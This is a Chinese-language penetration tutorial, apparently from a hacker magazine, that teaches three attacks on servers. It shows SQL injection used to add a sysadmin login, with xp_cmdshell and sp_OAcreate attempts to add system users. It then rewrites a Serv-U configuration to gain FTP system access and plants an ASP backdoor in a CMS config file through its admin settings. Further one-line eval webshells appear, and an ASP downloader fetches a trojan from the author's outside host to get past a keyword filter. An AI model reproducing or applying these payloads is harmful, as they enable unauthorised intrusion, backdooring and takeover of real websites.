一、SQL server的灵活应用
我们知道在渗透过程中思路是最重要的, 有时候往往一个细节就决定成败。 呵呵, 不过理论终究是理论, 看过我以前文章的朋友一定知道, 我更喜欢以一个事例来讲解一个东西。 因为我只是讲一个思路的问题, 所以就不会写很多, 只写经典的部分, 如果大家需要的话以后我会单独写一篇渗透的文章, 来详细介绍每一个方法的使用。 OK, 我们开始吧!
话说前几天朋友丢给我一个SA的注射点.但是死活就是不能执行命令。 说问我能不能帮忙看看。 既然朋友说话了并且据说是非常BT的SA, 自己也愿意挑战下。 拿到地址后首先telnet一下它的1433。 呵呵, 这个可能很多朋友就不会注意为什么要先telnet呢?因为是SA嘛, 只要能telnet上去我们就可以在注射点那里执行命令。 加一个具有SA权限的sql用户上去, 这样在查询分析器里执行命令要比在注射点那里方便的多呢。 使用●telnet 61.129.251. x 1433 ●发现可以telnet上去. OK 马上在注射点后面执行:
★
exec master.dbo.sp_addlogin fishing hook;
exec master.dbo.sp_addsrvrolemember fishing,sysadmin
★
这个命令就是添加一个用户名为fishing密码为hook的SQL用户, 权限为SA。 两次执行页面都返回成功, 说明用户添加成功了。 使用SQL server的查询分析器连上, 然后执行exec master.dbo.xp_cmdshell ’net user’ 发现提示错误:
★
错误消息
50001, 级别 1, 状态 50001
xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行)
★
很多朋友问过我这个错误信息是什么意思, 这里解释一下, 其实很简单, 那个错误是明明写着 CreateProcess 进程无法创建,而xp_cmdshell 是执行什么进程大家应该知道吧, CMD这个进程无法创建!有可能CMD设置权限拒绝SYSTEM访问, 有可能是CMD删除或者改名。 以上情况都可以造成 CMD进程无法创建的, 如图1。
图1
看来直接想加用户登陆服务器是不可能了, 可能有的朋友会说:不是还有SP_OAcreate 么?但是我在使用SP_OAcreate执行:
★
DECLARE @shell INT EXEC SP_OAcreate ’wscript.shell’,@shell OUTPUT EXEC SP_OAMETHOD
@shell,’run’,null, ’C:WINdowssystem32cmd.exe /c net user fish sadfish /add’
★
的时候虽然提示执行成功, 但是却发现用户并没有添加进去, 初步估计应该是wscript.shell被删掉了。
另外如果xp_regwrite 这个存储在的话我们还可以用沙盒模式搞定他的。 不过虽然以上三个重要的存储过程都不能用, 但是我们还可以用xp_subdirs来列目录。 在列到D盘的时候发现了服务器装有serv-u, 聪明的朋友们是不是想到了什么?我们可以通过使用FSO在suer-v的●ServUDaemon.ini●里写配置信息 添加一个具有system权限的ftp用户, 说做就做, 首先使用
★
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate ’scripting.filesystemobject’, @o out
exec sp_oamethod @o, ’opentextfile’, @f out, ’d:Serv-U6.3ServUDaemon.ini’, 1
exec @ret = sp_oamethod @f, ’readline’, @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, ’readline’, @line out
end
★
这段代码的意思是通过使用存储过程来读取d:Serv-U6.3ServUDaemon.ini里的配置信息, 返回执行成功 如图2
图片看不清楚?请点击这里查看原图(大图)。
既然可以读了 那么我们是不是可以写一个进去?继续执行
★
declare @o int, @f int, @t int, @ret int
exec sp_oacreate ’scripting.filesystemobject’, @o out
exec sp_oamethod @o, ’createtextfile’, @f out, ’d:Serv-U6.3ServUDaemon.ini’,
exec @ret = sp_oamethod @f, ’writeline’, NULL, 《这里添写自己写好的SU配置信息, 刚才复制的那些都要写上去, 在最后添加我们自己的, 跟我们在WEBSHELL里的serv-u提权是一样的》
★
按F5, 执行一下, 发现命令执行成功, 马上使用上面的语句复查一下, 发现已经写进去了, 如图3。
OK 剩下的事情就不用我多说了吧?FTP上去, 直接添加用户登陆服务器就OK了, 这里就不多废话了。 怎么样?发现了吧?在渗透过程中只要细心+灵活的运用
二、网站配置文件插马
MY动力管理系统相信很多朋友都玩过吧?但是他的后台可是有点BT。 虽然有数据库备份但是并不支持自定义路径, 而且数据库里还有
<% loop <% 不能闭和, 所以数据库备份几乎是没什么用了。 不过以前有朋友提出可以先恢复再备份的方法, 不过我没测试成功。
这里教大家的方法就是配置文件插马, 至于怎么进到后台我就不说, 是注射也好, 下载默认数据库也好总之能进后台就OK了。 进到后台后我们会发现在常规设置, 那里有个网站信息配置, 点开他, 如图4。
我们看到版权信息那里写着 "版权所有 Copyright? 2003 <a href=’http://www.asp163.net&;#39;>动力空间</a>" , 这是系统自带的, 因为这里没有限制我们输入的字符长度所以我们就可以在这里传一个类似小马的东西。 注意是类似, 而不是小马(编辑点评:其实就是个小马。 ), 直接在版权信息那里进行替换, 前面要加上他原有的语句, 替换代码如下:
★
版权所有 Copyright? 2003 <a href=’http://www.asp163.net&;#39;>动力空间</a>" ’版权信息
if Request("xiaoxin")="520" then
dim allen,creat,text,thisline,path
if Request("creat")="yes" then
Set fs = CreateObject("Scripting.FileSystemObject")
Set outfile=fs.CreateTextFile(server.mappath(Request("path")))
outfile.WriteLine Request("text")
Response.write "小新恭喜"
end if
Response.write "<form method=’POST’action=’"&Request.ServerVariables("URL")&"?xiaoxin=520&creat=yes’>"
Response.write "<textarea name=’text’>"&thisline&"</textarea><br>"
Response.write "<input type=’text’ name=’path’ value=’"&Request("path")&"’>"
Response.write "<input name=’submit’ type=’submit’ value=’ok’ ></form>"
Response.end
end if
%>
★
然后保存一下, 千万注意, 这个时候, 千万别跳转任何页面。 直接在ie地址栏内将admin/Admin_Login.asp替换成 inc/config.asp?xiaoxin=520, 有人会问为什么了?因为在上边版权信息内的代码, 是一段发送程序, 利用 inc/config.asp相关文件信息所写。
进入这个页面之后会发现:这是啥玩意? 好象一个小马。 那你就当小马用好了, 上面写你的ASP木马代码, 下面写上路径, 如图5、6。
怎么样?SHELL拿到了吧, 这里有一点要注意, 虽然SHELL是拿到了但是这个时候网站也挂掉了, 我们需要进到SHELL里找到config.asp文件, 把里面的 "小新恭喜" 去掉, 就OK啦。
其实不光是MY动力管理系统, 动易文章系统以前也存在这个问题:在站长信箱那里写入"%><%eval(request("xiaozhi"))%><%’ 然后直接连接
inc目录下的config.asp就可以了。 因为很多网站信息都是写入在config.asp里的, 有空各位朋友可以自己去测试一下(编辑:如果读者朋友懂ASP可以自己研究一些ASP程序是否在后台配置文件用到FSO, 这样基本上就是把配置信息写到了ASP文件里了)。
三、突破一流信息监控系统实现文件“上传”
相信很多朋友可能遇到过这样一个问题:在得到一个小马以后传大马的时候服务器却提示错误:很抱歉, 由于您提交的内容中或访问的内容中含有系统不允许的关键词, 本次操作无效, 系统已记录您的IP及您提交的所有数据。 请注意, 不要提交任何违反国家规定的内容!本次拦截的相关信息为:98424b88afb8, 如图7。
本来以为换个大马就可以了, 但是我换了N个马都是不行。 我想可能是禁止提交了, 但是随便提交几个字都是OK的, 原来是因为它设置了限制提交字符, 只要我们的大马里包含特殊字符就会被拒绝提交, 不过我们还是有办法突破他的。
这个就好比我们上传EXE文件的时候, 网站禁止了上传, 但是我们可以采用外部下载的方式来把目标文件下载到本地服务器中。 比如VBS?嘿嘿 好了, 这个方法就是, 只要服务器没有禁用XML和数据流组件, 我们可以往服务器中提交以下ASP脚本文件, 代码如下:
★
<%
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET",http://www.hack521.cn/fish.txt,False
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile Server.MapPath("fish.asp"),2
set sGet = nothing
set sPOST = nothing
%>
★
利用服务器的XML和数据流组件, 从我的blog的fish.txt的内容下载到目标站点根目录并保存为fish.asp。 fish.txt中的内容当然就是被拦截的内容了, 也就是我们的大马。 之后访问这个提交的ASP文件, 会出现一片空白, 然后我们再访问这个fish.asp文件, 则想要上传的内容已经被保存成功!如图8。
怎么样?亲爱的读者?你学会了没有?是不是脑子里又多了一条新思路?这期我主要以三个实例来讲解一下一些大家都知道但是都不常用的方法。 很多朋友问过我, 为什么我写的文章里所用的方法家都知道, 为什么就想不到呢?还是那句话, 思路要清晰, 渗透是一个细致活, 不急不躁方能心平。 我的ID是CNSST或者加我
:MSSQL是个强大的数据库, 能灵活运用其提供给我们的扩展, 就不是一般的高手了;关于配置文件写马, 为了写马后还能让网站运行正常, 写进 Config.asp里的就要是容错的一句话了, 比如:<%if request("cmd")<>"" then execute request("cmd")%>或者<%on error resume next:execute request("cmd")%>等等;如果你能熟练掌握MS的一些组件运用, 你也是个高手了。
……